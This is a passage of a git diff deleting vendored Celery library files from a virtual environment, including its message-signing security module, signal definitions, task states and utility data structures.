serializer. - -Please see the configuration reference for more information. -""" - -SETTING_MISSING = """\ -You have to configure a special task serializer -for signing and verifying tasks: - * task_serializer = 'auth' - -You have to accept only tasks which are serialized with 'auth'. -There is no point in signing messages if they are not verified. - * accept_content = ['auth'] -""" - -__all__ = ('setup_security',) - -try: - import cryptography # noqa -except ImportError: - raise ImproperlyConfigured(CRYPTOGRAPHY_NOT_INSTALLED) - - -def setup_security(allowed_serializers=None, key=None, key_password=None, cert=None, store=None, - digest=None, serializer='json', app=None): - """See :meth:`@Celery.setup_security`.""" - if app is None: - from celery import current_app - app = current_app._get_current_object() - - _disable_insecure_serializers(allowed_serializers) - - # check conf for sane security settings - conf = app.conf - if conf.task_serializer != 'auth' or conf.accept_content != ['auth']: - raise ImproperlyConfigured(SETTING_MISSING) - - key = key or conf.security_key - key_password = key_password or conf.security_key_password - cert = cert or conf.security_certificate - store = store or conf.security_cert_store - digest = digest or conf.security_digest - - if not (key and cert and store): - raise ImproperlyConfigured(SECURITY_SETTING_MISSING) - - with open(key) as kf: - with open(cert) as cf: - register_auth(kf.read(), key_password, cf.read(), store, digest, serializer) - registry._set_default_serializer('auth') - - -def disable_untrusted_serializers(whitelist=None): - _disable_insecure_serializers(allowed=whitelist) diff --git a/venv/Lib/site-packages/celery/security/certificate.py b/venv/Lib/site-packages/celery/security/certificate.py deleted file mode 100644 index edaa764be5c2c1a0a7f2dbddb6b53e0a95759c11..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/security/certificate.py +++ /dev/null @@ -1,113 +0,0 @@ -"""X.509 certificates.""" -from __future__ import annotations - -import datetime -import glob -import os -from typing import TYPE_CHECKING, Iterator - -from cryptography.hazmat.backends import default_backend -from cryptography.hazmat.primitives.asymmetric import padding, rsa -from cryptography.x509 import load_pem_x509_certificate -from kombu.utils.encoding import bytes_to_str, ensure_bytes - -from celery.exceptions import SecurityError - -from .utils import reraise_errors - -if TYPE_CHECKING: - from cryptography.hazmat.primitives.asymmetric.dsa import DSAPublicKey - from cryptography.hazmat.primitives.asymmetric.ec import EllipticCurvePublicKey - from cryptography.hazmat.primitives.asymmetric.ed448 import Ed448PublicKey - from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PublicKey - from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicKey - from cryptography.hazmat.primitives.asymmetric.utils import Prehashed - from cryptography.hazmat.primitives.hashes import HashAlgorithm - - -__all__ = ('Certificate', 'CertStore', 'FSCertStore') - - -class Certificate: - """X.509 certificate.""" - - def __init__(self, cert: str) -> None: - with reraise_errors( - 'Invalid certificate: {0!r}', errors=(ValueError,) - ): - self._cert = load_pem_x509_certificate( - ensure_bytes(cert), backend=default_backend()) - - if not isinstance(self._cert.public_key(), rsa.RSAPublicKey): - raise ValueError("Non-RSA certificates are not supported.") - - def has_expired(self) -> bool: - """Check if the certificate has expired.""" - return datetime.datetime.now(datetime.timezone.utc) >= self._cert.not_valid_after_utc - - def get_pubkey(self) -> ( - DSAPublicKey | EllipticCurvePublicKey | Ed448PublicKey | Ed25519PublicKey | RSAPublicKey - ): - return self._cert.public_key() - - def get_serial_number(self) -> int: - """Return the serial number in the certificate.""" - return self._cert.serial_number - - def get_issuer(self) -> str: - """Return issuer (CA) as a string.""" - return ' '.join(x.value for x in self._cert.issuer) - - def get_id(self) -> str: - """Serial number/issuer pair uniquely identifies a certificate.""" - return f'{self.get_issuer()} {self.get_serial_number()}' - - def verify(self, data: bytes, signature: bytes, digest: HashAlgorithm | Prehashed) -> None: - """Verify signature for string containing data.""" - with reraise_errors('Bad signature: {0!r}'): - - pad = padding.PSS( - mgf=padding.MGF1(digest), - salt_length=padding.PSS.MAX_LENGTH) - - self.get_pubkey().verify(signature, ensure_bytes(data), pad, digest) - - -class CertStore: - """Base class for certificate stores.""" - - def __init__(self) -> None: - self._certs: dict[str, Certificate] = {} - - def itercerts(self) -> Iterator[Certificate]: - """Return certificate iterator.""" - yield from self._certs.values() - - def __getitem__(self, id: str) -> Certificate: - """Get certificate by id.""" - try: - return self._certs[bytes_to_str(id)] - except KeyError: - raise SecurityError(f'Unknown certificate: {id!r}') - - def add_cert(self, cert: Certificate) -> None: - cert_id = bytes_to_str(cert.get_id()) - if cert_id in self._certs: - raise SecurityError(f'Duplicate certificate: {id!r}') - self._certs[cert_id] = cert - - -class FSCertStore(CertStore): - """File system certificate store.""" - - def __init__(self, path: str) -> None: - super().__init__() - if os.path.isdir(path): - path = os.path.join(path, '*') - for p in glob.glob(path): - with open(p) as f: - cert = Certificate(f.read()) - if cert.has_expired(): - raise SecurityError( - f'Expired certificate: {cert.get_id()!r}') - self.add_cert(cert) diff --git a/venv/Lib/site-packages/celery/security/key.py b/venv/Lib/site-packages/celery/security/key.py deleted file mode 100644 index ae932b2b762ece5c19e7666653944e2962ad4d0e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/security/key.py +++ /dev/null @@ -1,35 +0,0 @@ -"""Private keys for the security serializer.""" -from cryptography.hazmat.backends import default_backend -from cryptography.hazmat.primitives import serialization -from cryptography.hazmat.primitives.asymmetric import padding, rsa -from kombu.utils.encoding import ensure_bytes - -from .utils import reraise_errors - -__all__ = ('PrivateKey',) - - -class PrivateKey: - """Represents a private key.""" - - def __init__(self, key, password=None): - with reraise_errors( - 'Invalid private key: {0!r}', errors=(ValueError,) - ): - self._key = serialization.load_pem_private_key( - ensure_bytes(key), - password=ensure_bytes(password), - backend=default_backend()) - - if not isinstance(self._key, rsa.RSAPrivateKey): - raise ValueError("Non-RSA keys are not supported.") - - def sign(self, data, digest): - """Sign string containing data.""" - with reraise_errors('Unable to sign data: {0!r}'): - - pad = padding.PSS( - mgf=padding.MGF1(digest), - salt_length=padding.PSS.MAX_LENGTH) - - return self._key.sign(ensure_bytes(data), pad, digest) diff --git a/venv/Lib/site-packages/celery/security/serialization.py b/venv/Lib/site-packages/celery/security/serialization.py deleted file mode 100644 index 7b7dc1261f8d4a03b32dfc0bec9988f840619b04..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/security/serialization.py +++ /dev/null @@ -1,90 +0,0 @@ -"""Secure serializer.""" -from kombu.serialization import dumps, loads, registry -from kombu.utils.encoding import bytes_to_str, ensure_bytes, str_to_bytes - -from celery.app.defaults import DEFAULT_SECURITY_DIGEST -from celery.utils.serialization import b64decode, b64encode - -from .certificate import Certificate, FSCertStore -from .key import PrivateKey -from .utils import get_digest_algorithm, reraise_errors - -__all__ = ('SecureSerializer', 'register_auth') - -# Note: we guarantee that this value won't appear in the serialized data, -# so we can use it as a separator. -# If you change this value, make sure it's not present in the serialized data. -DEFAULT_SEPARATOR = str_to_bytes("\x00\x01") - - -class SecureSerializer: - """Signed serializer.""" - - def __init__(self, key=None, cert=None, cert_store=None, - digest=DEFAULT_SECURITY_DIGEST, serializer='json'): - self._key = key - self._cert = cert - self._cert_store = cert_store - self._digest = get_digest_algorithm(digest) - self._serializer = serializer - - def serialize(self, data): - """Serialize data structure into string.""" - assert self._key is not None - assert self._cert is not None - with reraise_errors('Unable to serialize: {0!r}', (Exception,)): - content_type, content_encoding, body = dumps( - data, serializer=self._serializer) - - # What we sign is the serialized body, not the body itself. - # this way the receiver doesn't have to decode the contents - # to verify the signature (and thus avoiding potential flaws - # in the decoding step). - body = ensure_bytes(body) - return self._pack(body, content_type, content_encoding, - signature=self._key.sign(body, self._digest), - signer=self._cert.get_id()) - - def deserialize(self, data): - """Deserialize data structure from string.""" - assert self._cert_store is not None - with reraise_errors('Unable to deserialize: {0!r}', (Exception,)): - payload = self._unpack(data) - signature, signer, body = (payload['signature'], - payload['signer'], - payload['body']) - self._cert_store[signer].verify(body, signature, self._digest) - return loads(body, payload['content_type'], - payload['content_encoding'], force=True) - - def _pack(self, body, content_type, content_encoding, signer, signature, - sep=DEFAULT_SEPARATOR): - fields = sep.join( - ensure_bytes(s) for s in [b64encode(signer), b64encode(signature), - content_type, content_encoding, body] - ) - return b64encode(fields) - - def _unpack(self, payload, sep=DEFAULT_SEPARATOR): - raw_payload = b64decode(ensure_bytes(payload)) - v = raw_payload.split(sep, maxsplit=4) - return { - 'signer': b64decode(v[0]), - 'signature': b64decode(v[1]), - 'content_type': bytes_to_str(v[2]), - 'content_encoding': bytes_to_str(v[3]), - 'body': v[4], - } - - -def register_auth(key=None, key_password=None, cert=None, store=None, - digest=DEFAULT_SECURITY_DIGEST, - serializer='json'): - """Register security serializer.""" - s = SecureSerializer(key and PrivateKey(key, password=key_password), - cert and Certificate(cert), - store and FSCertStore(store), - digest, serializer=serializer) - registry.register('auth', s.serialize, s.deserialize, - content_type='application/data', - content_encoding='utf-8') diff --git a/venv/Lib/site-packages/celery/security/utils.py b/venv/Lib/site-packages/celery/security/utils.py deleted file mode 100644 index 4714a945c6eed54165b302ff53b82d81957f194c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/security/utils.py +++ /dev/null @@ -1,28 +0,0 @@ -"""Utilities used by the message signing serializer.""" -import sys -from contextlib import contextmanager - -import cryptography.exceptions -from cryptography.hazmat.primitives import hashes - -from celery.exceptions import SecurityError, reraise - -__all__ = ('get_digest_algorithm', 'reraise_errors',) - - -def get_digest_algorithm(digest='sha256'): - """Convert string to hash object of cryptography library.""" - assert digest is not None - return getattr(hashes, digest.upper())() - - -@contextmanager -def reraise_errors(msg='{0!r}', errors=None): - """Context reraising crypto errors as :exc:`SecurityError`.""" - errors = (cryptography.exceptions,) if errors is None else errors - try: - yield - except errors as exc: - reraise(SecurityError, - SecurityError(msg.format(exc)), - sys.exc_info()[2]) diff --git a/venv/Lib/site-packages/celery/signals.py b/venv/Lib/site-packages/celery/signals.py deleted file mode 100644 index 290fa2ba85829cef4b04f45012d2d504f953bb33..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/signals.py +++ /dev/null @@ -1,154 +0,0 @@ -"""Celery Signals. - -This module defines the signals (Observer pattern) sent by -both workers and clients. - -Functions can be connected to these signals, and connected -functions are called whenever a signal is called. - -.. seealso:: - - :ref:`signals` for more information. -""" - -from .utils.dispatch import Signal - -__all__ = ( - 'before_task_publish', 'after_task_publish', 'task_internal_error', - 'task_prerun', 'task_postrun', 'task_success', - 'task_received', 'task_rejected', 'task_unknown', - 'task_retry', 'task_failure', 'task_revoked', 'celeryd_init', - 'celeryd_after_setup', 'worker_init', 'worker_before_create_process', - 'worker_process_init', 'worker_process_shutdown', 'worker_ready', - 'worker_shutdown', 'worker_shutting_down', 'setup_logging', - 'after_setup_logger', 'after_setup_task_logger', 'beat_init', - 'beat_embedded_init', 'heartbeat_sent', 'eventlet_pool_started', - 'eventlet_pool_preshutdown', 'eventlet_pool_postshutdown', - 'eventlet_pool_apply', -) - -# - Task -before_task_publish = Signal( - name='before_task_publish', - providing_args={ - 'body', 'exchange', 'routing_key', 'headers', - 'properties', 'declare', 'retry_policy', - }, -) -after_task_publish = Signal( - name='after_task_publish', - providing_args={'body', 'exchange', 'routing_key'}, -) -task_received = Signal( - name='task_received', - providing_args={'request'} -) -task_prerun = Signal( - name='task_prerun', - providing_args={'task_id', 'task', 'args', 'kwargs'}, -) -task_postrun = Signal( - name='task_postrun', - providing_args={'task_id', 'task', 'args', 'kwargs', 'retval'}, -) -task_success = Signal( - name='task_success', - providing_args={'result'}, -) -task_retry = Signal( - name='task_retry', - providing_args={'request', 'reason', 'einfo'}, -) -task_failure = Signal( - name='task_failure', - providing_args={ - 'task_id', 'exception', 'args', 'kwargs', 'traceback', 'einfo', - }, -) -task_internal_error = Signal( - name='task_internal_error', - providing_args={ - 'task_id', 'args', 'kwargs', 'request', 'exception', 'traceback', 'einfo' - } -) -task_revoked = Signal( - name='task_revoked', - providing_args={ - 'request', 'terminated', 'signum', 'expired', - }, -) -task_rejected = Signal( - name='task_rejected', - providing_args={'message', 'exc'}, -) -task_unknown = Signal( - name='task_unknown', - providing_args={'message', 'exc', 'name', 'id'}, -) -#: Deprecated, use after_task_publish instead. -task_sent = Signal( - name='task_sent', - providing_args={ - 'task_id', 'task', 'args', 'kwargs', 'eta', 'taskset', - }, -) - -# - Program: `celery worker` -celeryd_init = Signal( - name='celeryd_init', - providing_args={'instance', 'conf', 'options'}, -) -celeryd_after_setup = Signal( - name='celeryd_after_setup', - providing_args={'instance', 'conf'}, -) - -# - Worker -import_modules = Signal(name='import_modules') -worker_init = Signal(name='worker_init') -worker_before_create_process = Signal(name="worker_before_create_process") -worker_process_init = Signal(name='worker_process_init') -worker_process_shutdown = Signal(name='worker_process_shutdown') -worker_ready = Signal(name='worker_ready') -worker_shutdown = Signal(name='worker_shutdown') -worker_shutting_down = Signal(name='worker_shutting_down') -heartbeat_sent = Signal(name='heartbeat_sent') - -# - Logging -setup_logging = Signal( - name='setup_logging', - providing_args={ - 'loglevel', 'logfile', 'format', 'colorize', - }, -) -after_setup_logger = Signal( - name='after_setup_logger', - providing_args={ - 'logger', 'loglevel', 'logfile', 'format', 'colorize', - }, -) -after_setup_task_logger = Signal( - name='after_setup_task_logger', - providing_args={ - 'logger', 'loglevel', 'logfile', 'format', 'colorize', - }, -) - -# - Beat -beat_init = Signal(name='beat_init') -beat_embedded_init = Signal(name='beat_embedded_init') - -# - Eventlet -eventlet_pool_started = Signal(name='eventlet_pool_started') -eventlet_pool_preshutdown = Signal(name='eventlet_pool_preshutdown') -eventlet_pool_postshutdown = Signal(name='eventlet_pool_postshutdown') -eventlet_pool_apply = Signal( - name='eventlet_pool_apply', - providing_args={'target', 'args', 'kwargs'}, -) - -# - Programs -user_preload_options = Signal( - name='user_preload_options', - providing_args={'app', 'options'}, -) diff --git a/venv/Lib/site-packages/celery/states.py b/venv/Lib/site-packages/celery/states.py deleted file mode 100644 index 6e21a22b5da346079f704bbd086e3d40a917f9eb..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/states.py +++ /dev/null @@ -1,151 +0,0 @@ -"""Built-in task states. - -.. _states: - -States ------- - -See :ref:`task-states`. - -.. _statesets: - -Sets ----- - -.. state:: READY_STATES - -READY_STATES -~~~~~~~~~~~~ - -Set of states meaning the task result is ready (has been executed). - -.. state:: UNREADY_STATES - -UNREADY_STATES -~~~~~~~~~~~~~~ - -Set of states meaning the task result is not ready (hasn't been executed). - -.. state:: EXCEPTION_STATES - -EXCEPTION_STATES -~~~~~~~~~~~~~~~~ - -Set of states meaning the task returned an exception. - -.. state:: PROPAGATE_STATES - -PROPAGATE_STATES -~~~~~~~~~~~~~~~~ - -Set of exception states that should propagate exceptions to the user. - -.. state:: ALL_STATES - -ALL_STATES -~~~~~~~~~~ - -Set of all possible states. - -Misc ----- - -""" - -__all__ = ( - 'PENDING', 'RECEIVED', 'STARTED', 'SUCCESS', 'FAILURE', - 'REVOKED', 'RETRY', 'IGNORED', 'READY_STATES', 'UNREADY_STATES', - 'EXCEPTION_STATES', 'PROPAGATE_STATES', 'precedence', 'state', -) - -#: State precedence. -#: None represents the precedence of an unknown state. -#: Lower index means higher precedence. -PRECEDENCE = [ - 'SUCCESS', - 'FAILURE', - None, - 'REVOKED', - 'STARTED', - 'RECEIVED', - 'REJECTED', - 'RETRY', - 'PENDING', -] - -#: Hash lookup of PRECEDENCE to index -PRECEDENCE_LOOKUP = dict(zip(PRECEDENCE, range(0, len(PRECEDENCE)))) -NONE_PRECEDENCE = PRECEDENCE_LOOKUP[None] - - -def precedence(state: str) -> int: - """Get the precedence index for state. - - Lower index means higher precedence. - """ - try: - return PRECEDENCE_LOOKUP[state] - except KeyError: - return NONE_PRECEDENCE - - -class state(str): - """Task state. - - State is a subclass of :class:`str`, implementing comparison - methods adhering to state precedence rules:: - - >>> from celery.states import state, PENDING, SUCCESS - - >>> state(PENDING) < state(SUCCESS) - True - - Any custom state is considered to be lower than :state:`FAILURE` and - :state:`SUCCESS`, but higher than any of the other built-in states:: - - >>> state('PROGRESS') > state(STARTED) - True - - >>> state('PROGRESS') > state('SUCCESS') - False - """ - - def __gt__(self, other: str) -> bool: - return precedence(self) < precedence(other) - - def __ge__(self, other: str) -> bool: - return precedence(self) <= precedence(other) - - def __lt__(self, other: str) -> bool: - return precedence(self) > precedence(other) - - def __le__(self, other: str) -> bool: - return precedence(self) >= precedence(other) - - -#: Task state is unknown (assumed pending since you know the id). -PENDING = 'PENDING' -#: Task was received by a worker (only used in events). -RECEIVED = 'RECEIVED' -#: Task was started by a worker (:setting:`task_track_started`). -STARTED = 'STARTED' -#: Task succeeded -SUCCESS = 'SUCCESS' -#: Task failed -FAILURE = 'FAILURE' -#: Task was revoked. -REVOKED = 'REVOKED' -#: Task was rejected (only used in events). -REJECTED = 'REJECTED' -#: Task is waiting for retry. -RETRY = 'RETRY' -IGNORED = 'IGNORED' - -READY_STATES = frozenset({SUCCESS, FAILURE, REVOKED}) -UNREADY_STATES = frozenset({PENDING, RECEIVED, STARTED, REJECTED, RETRY}) -EXCEPTION_STATES = frozenset({RETRY, FAILURE, REVOKED}) -PROPAGATE_STATES = frozenset({FAILURE, REVOKED}) - -ALL_STATES = frozenset({ - PENDING, RECEIVED, STARTED, SUCCESS, FAILURE, RETRY, REVOKED, -}) diff --git a/venv/Lib/site-packages/celery/utils/__init__.py b/venv/Lib/site-packages/celery/utils/__init__.py deleted file mode 100644 index 0e2e1a33070f274ba6a42e0331842a2edfd5066a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/utils/__init__.py +++ /dev/null @@ -1,36 +0,0 @@ -"""Utility functions. - -Don't import from here directly anymore, as these are only -here for backwards compatibility. -""" -from kombu.utils.objects import cached_property -from kombu.utils.uuid import uuid - -from .functional import chunks, memoize, noop -from .imports import gen_task_name, import_from_cwd, instantiate -from .imports import qualname as get_full_cls_name -from .imports import symbol_by_name as get_cls_by_name -# ------------------------------------------------------------------------ # -# > XXX Compat -from .log import LOG_LEVELS -from .nodenames import nodename, nodesplit, worker_direct - -gen_unique_id = uuid - -__all__ = ( - 'LOG_LEVELS', - 'cached_property', - 'chunks', - 'gen_task_name', - 'gen_unique_id', - 'get_cls_by_name', - 'get_full_cls_name', - 'import_from_cwd', - 'instantiate', - 'memoize', - 'nodename', - 'nodesplit', - 'noop', - 'uuid', - 'worker_direct' -) diff --git a/venv/Lib/site-packages/celery/utils/abstract.py b/venv/Lib/site-packages/celery/utils/abstract.py deleted file mode 100644 index 81a040824c56bce64dcdbe7c46d2341fc56e911f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/utils/abstract.py +++ /dev/null @@ -1,146 +0,0 @@ -"""Abstract classes.""" -from abc import ABCMeta, abstractmethod -from collections.abc import Callable - -__all__ = ('CallableTask', 'CallableSignature') - - -def _hasattr(C, attr): - return any(attr in B.__dict__ for B in C.__mro__) - - -class _AbstractClass(metaclass=ABCMeta): - __required_attributes__ = frozenset() - - @classmethod - def _subclasshook_using(cls, parent, C): - return ( - cls is parent and - all(_hasattr(C, attr) for attr in cls.__required_attributes__) - ) or NotImplemented - - @classmethod - def register(cls, other): - # we override `register` to return other for use as a decorator. - type(cls).register(cls, other) - return other - - -class CallableTask(_AbstractClass, Callable): # pragma: no cover - """Task interface.""" - - __required_attributes__ = frozenset({ - 'delay', 'apply_async', 'apply', - }) - - @abstractmethod - def delay(self, *args, **kwargs): - pass - - @abstractmethod - def apply_async(self, *args, **kwargs): - pass - - @abstractmethod - def apply(self, *args, **kwargs): - pass - - @classmethod - def __subclasshook__(cls, C): - return cls._subclasshook_using(CallableTask, C) - - -class CallableSignature(CallableTask): # pragma: no cover - """Celery Signature interface.""" - - __required_attributes__ = frozenset({ - 'clone', 'freeze', 'set', 'link', 'link_error', '__or__', - }) - - @property - @abstractmethod - def name(self): - pass - - @property - @abstractmethod - def type(self): - pass - - @property - @abstractmethod - def app(self): - pass - - @property - @abstractmethod - def id(self): - pass - - @property - @abstractmethod - def task(self): - pass - - @property - @abstractmethod - def args(self): - pass - - @property - @abstractmethod - def kwargs(self): - pass - - @property - @abstractmethod - def options(self): - pass - - @property - @abstractmethod - def subtask_type(self): - pass - - @property - @abstractmethod - def chord_size(self): - pass - - @property - @abstractmethod - def immutable(self): - pass - - @abstractmethod - def clone(self, args=None, kwargs=None): - pass - - @abstractmethod - def freeze(self, id=None, group_id=None, chord=None, root_id=None, - group_index=None): - pass - - @abstractmethod - def set(self, immutable=None, **options): - pass - - @abstractmethod - def link(self, callback): - pass - - @abstractmethod - def link_error(self, errback): - pass - - @abstractmethod - def __or__(self, other): - pass - - @abstractmethod - def __invert__(self): - pass - - @classmethod - def __subclasshook__(cls, C): - return cls._subclasshook_using(CallableSignature, C) diff --git a/venv/Lib/site-packages/celery/utils/annotations.py b/venv/Lib/site-packages/celery/utils/annotations.py deleted file mode 100644 index 38a549c000aa61817a8ccf99cedaa583b79bd000..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/utils/annotations.py +++ /dev/null @@ -1,49 +0,0 @@ -"""Code related to handling annotations.""" - -import sys -import types -import typing -from inspect import isclass - - -def is_none_type(value: typing.Any) -> bool: - """Check if the given value is a NoneType.""" - if sys.version_info < (3, 10): - # raise Exception('below 3.10', value, type(None)) - return value is type(None) - return value == types.NoneType # type: ignore[no-any-return] - - -def get_optional_arg(annotation: typing.Any) -> typing.Any: - """Get the argument from an Optional[...] annotation, or None if it is no such annotation.""" - origin = typing.get_origin(annotation) - if origin != typing.Union and (sys.version_info >= (3, 10) and origin != types.UnionType): - return None - - union_args = typing.get_args(annotation) - if len(union_args) != 2: # Union does _not_ have two members, so it's not an Optional - return None - - has_none_arg = any(is_none_type(arg) for arg in union_args) - # There will always be at least one type arg, as we have already established that this is a Union with exactly - # two members, and both cannot be None (`Union[None, None]` does not work). - type_arg = next(arg for arg in union_args if not is_none_type(arg)) # pragma: no branch - - if has_none_arg: - return type_arg - return None - - -def annotation_is_class(annotation: typing.Any) -> bool: - """Test if a given annotation is a class that can be used in isinstance()/issubclass().""" - # isclass() returns True for generic type hints (e.g. `list[str]`) until Python 3.10. - # NOTE: The guard for Python 3.9 is because types.GenericAlias is only added in Python 3.9. This is not a problem - # as the syntax is added in the same version in the first place. - if (3, 9) <= sys.version_info < (3, 11) and isinstance(annotation, types.GenericAlias): - return False - return isclass(annotation) - - -def annotation_issubclass(annotation: typing.Any, cls: type) -> bool: - """Test if a given annotation is of the given subclass.""" - return annotation_is_class(annotation) and issubclass(annotation, cls) diff --git a/venv/Lib/site-packages/celery/utils/collections.py b/venv/Lib/site-packages/celery/utils/collections.py deleted file mode 100644 index 396ed817cddc8fa708ad462c16d61a6aa67df043..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/utils/collections.py +++ /dev/null @@ -1,863 +0,0 @@ -"""Custom maps, sets, sequences, and other data structures.""" -import time -from collections import OrderedDict as _OrderedDict -from collections import deque -from collections.abc import Callable, Mapping, MutableMapping, MutableSet, Sequence -from heapq import heapify, heappop, heappush -from itertools import chain, count -from queue import Empty -from typing import Any, Dict, Iterable, List # noqa - -from .functional import first, uniq -from .text import match_case - -try: - # pypy: dicts are ordered in recent versions - from __pypy__ import reversed_dict as _dict_is_ordered -except ImportError: - _dict_is_ordered = None - -try: - from django.utils.functional import LazyObject, LazySettings -except ImportError: - class LazyObject: - pass - LazySettings = LazyObject - -__all__ = ( - 'AttributeDictMixin', 'AttributeDict', 'BufferMap', 'ChainMap', - 'ConfigurationView', 'DictAttribute', 'Evictable', - 'LimitedSet', 'Messagebuffer', 'OrderedDict', - 'force_mapping', 'lpmerge', -) - -REPR_LIMITED_SET = """\ -<{name}({size}): maxlen={0.maxlen}, expires={0.expires}, minlen={0.minlen}>\ -""" - - -def force_mapping(m): - # type: (Any) -> Mapping - """Wrap object into supporting the mapping interface if necessary.""" - if isinstance(m, (LazyObject, LazySettings)): - m = m._wrapped - return DictAttribute(m) if not isinstance(m, Mapping) else m - - -def lpmerge(L, R): - # type: (Mapping, Mapping) -> Mapping - """In place left precedent dictionary merge. - - Keeps values from `L`, if the value in `R` is :const:`None`. - """ - setitem = L.__setitem__ - [setitem(k, v) for k, v in R.items() if v is not None] - return L - - -class OrderedDict(_OrderedDict): - """Dict where insertion order matters.""" - - def _LRUkey(self): - # type: () -> Any - # return value of od.keys does not support __next__, - # but this version will also not create a copy of the list. - return next(iter(self.keys())) - - if not hasattr(_OrderedDict, 'move_to_end'): - if _dict_is_ordered: # pragma: no cover - - def move_to_end(self, key, last=True): - # type: (Any, bool) -> None - if not last: - # we don't use this argument, and the only way to - # implement this on PyPy seems to be O(n): creating a - # copy with the order changed, so we just raise. - raise NotImplementedError('no last=True on PyPy') - self[key] = self.pop(key) - - else: - - def move_to_end(self, key, last=True): - # type: (Any, bool) -> None - link = self._OrderedDict__map[key] - link_prev = link[0] - link_next = link[1] - link_prev[1] = link_next - link_next[0] = link_prev - root = self._OrderedDict__root - if last: - last = root[0] - link[0] = last - link[1] = root - last[1] = root[0] = link - else: - first_node = root[1] - link[0] = root - link[1] = first_node - root[1] = first_node[0] = link - - -class AttributeDictMixin: - """Mixin for Mapping interface that adds attribute access. - - I.e., `d.key -> d[key]`). - """ - - def __getattr__(self, k): - # type: (str) -> Any - """`d.key -> d[key]`.""" - try: - return self[k] - except KeyError: - raise AttributeError( - f'{type(self).__name__!r} object has no attribute {k!r}') - - def __setattr__(self, key: str, value) -> None: - """`d[key] = value -> d.key = value`.""" - self[key] = value - - -class AttributeDict(dict, AttributeDictMixin): - """Dict subclass with attribute access.""" - - -class DictAttribute: - """Dict interface to attributes. - - `obj[k] -> obj.k` - `obj[k] = val -> obj.k = val` - """ - - obj = None - - def __init__(self, obj): - # type: (Any) -> None - object.__setattr__(self, 'obj', obj) - - def __getattr__(self, key): - # type: (Any) -> Any - return getattr(self.obj, key) - - def __setattr__(self, key, value): - # type: (Any, Any) -> None - return setattr(self.obj, key, value) - - def get(self, key, default=None): - # type: (Any, Any) -> Any - try: - return self[key] - except KeyError: - return default - - def setdefault(self, key, default=None): - # type: (Any, Any) -> None - if key not in self: - self[key] = default - - def __getitem__(self, key): - # type: (Any) -> Any - try: - return getattr(self.obj, key) - except AttributeError: - raise KeyError(key) - - def __setitem__(self, key, value): - # type: (Any, Any) -> Any - setattr(self.obj, key, value) - - def __contains__(self, key): - # type: (Any) -> bool - return hasattr(self.obj, key) - - def _iterate_keys(self): - # type: () -> Iterable - return iter(dir(self.obj)) - iterkeys = _iterate_keys - - def __iter__(self): - # type: () -> Iterable - return self._iterate_keys() - - def _iterate_items(self): - # type: () -> Iterable - for key in self._iterate_keys(): - yield key, getattr(self.obj, key) - iteritems = _iterate_items - - def _iterate_values(self): - # type: () -> Iterable - for key in self._iterate_keys(): - yield getattr(self.obj, key) - itervalues = _iterate_values - - items = _iterate_items - keys = _iterate_keys - values = _iterate_values - - -MutableMapping.register(DictAttribute) - - -class ChainMap(MutableMapping): - """Key lookup on a sequence of maps.""" - - key_t = None - changes = None - defaults = None - maps = None - _observers = () - - def __init__(self, *maps, **kwargs): - # type: (*Mapping, **Any) -> None - maps = list(maps or [{}]) - self.__dict__.update( - key_t=kwargs.get('key_t'), - maps=maps, - changes=maps[0], - defaults=maps[1:], - _observers=[], - ) - - def add_defaults(self, d): - # type: (Mapping) -> None - d = force_mapping(d) - self.defaults.insert(0, d) - self.maps.insert(1, d) - - def pop(self, key, *default): - # type: (Any, *Any) -> Any - try: - return self.maps[0].pop(key, *default) - except KeyError: - raise KeyError( - f'Key not found in the first mapping: {key!r}') - - def __missing__(self, key): - # type: (Any) -> Any - raise KeyError(key) - - def _key(self, key): - # type: (Any) -> Any - return self.key_t(key) if self.key_t is not None else key - - def __getitem__(self, key): - # type: (Any) -> Any - _key = self._key(key) - for mapping in self.maps: - try: - return mapping[_key] - except KeyError: - pass - return self.__missing__(key) - - def __setitem__(self, key, value): - # type: (Any, Any) -> None - self.changes[self._key(key)] = value - - def __delitem__(self, key): - # type: (Any) -> None - try: - del self.changes[self._key(key)] - except KeyError: - raise KeyError(f'Key not found in first mapping: {key!r}') - - def clear(self): - # type: () -> None - self.changes.clear() - - def get(self, key, default=None): - # type: (Any, Any) -> Any - try: - return self[self._key(key)] - except KeyError: - return default - - def __len__(self): - # type: () -> int - return len(set().union(*self.maps)) - - def __iter__(self): - return self._iterate_keys() - - def __contains__(self, key): - # type: (Any) -> bool - key = self._key(key) - return any(key in m for m in self.maps) - - def __bool__(self): - # type: () -> bool - return any(self.maps) - __nonzero__ = __bool__ # Py2 - - def setdefault(self, key, default=None): - # type: (Any, Any) -> None - key = self._key(key) - if key not in self: - self[key] = default - - def update(self, *args, **kwargs): - # type: (*Any, **Any) -> Any - result = self.changes.update(*args, **kwargs) - for callback in self._observers: - callback(*args, **kwargs) - return result - - def __repr__(self): - # type: () -> str - return '{0.__class__.__name__}({1})'.format( - self, ', '.join(map(repr, self.maps))) - - @classmethod - def fromkeys(cls, iterable, *args): - # type: (type, Iterable, *Any) -> 'ChainMap' - """Create a ChainMap with a single dict created from the iterable.""" - return cls(dict.fromkeys(iterable, *args)) - - def copy(self): - # type: () -> 'ChainMap' - return self.__class__(self.maps[0].copy(), *self.maps[1:]) - __copy__ = copy # Py2 - - def _iter(self, op): - # type: (Callable) -> Iterable - # defaults must be first in the stream, so values in - # changes take precedence. - # pylint: disable=bad-reversed-sequence - # Someone should teach pylint about properties. - return chain(*(op(d) for d in reversed(self.maps))) - - def _iterate_keys(self): - # type: () -> Iterable - return uniq(self._iter(lambda d: d.keys())) - iterkeys = _iterate_keys - - def _iterate_items(self): - # type: () -> Iterable - return ((key, self[key]) for key in self) - iteritems = _iterate_items - - def _iterate_values(self): - # type: () -> Iterable - return (self[key] for key in self) - itervalues = _iterate_values - - def bind_to(self, callback): - self._observers.append(callback) - - keys = _iterate_keys - items = _iterate_items - values 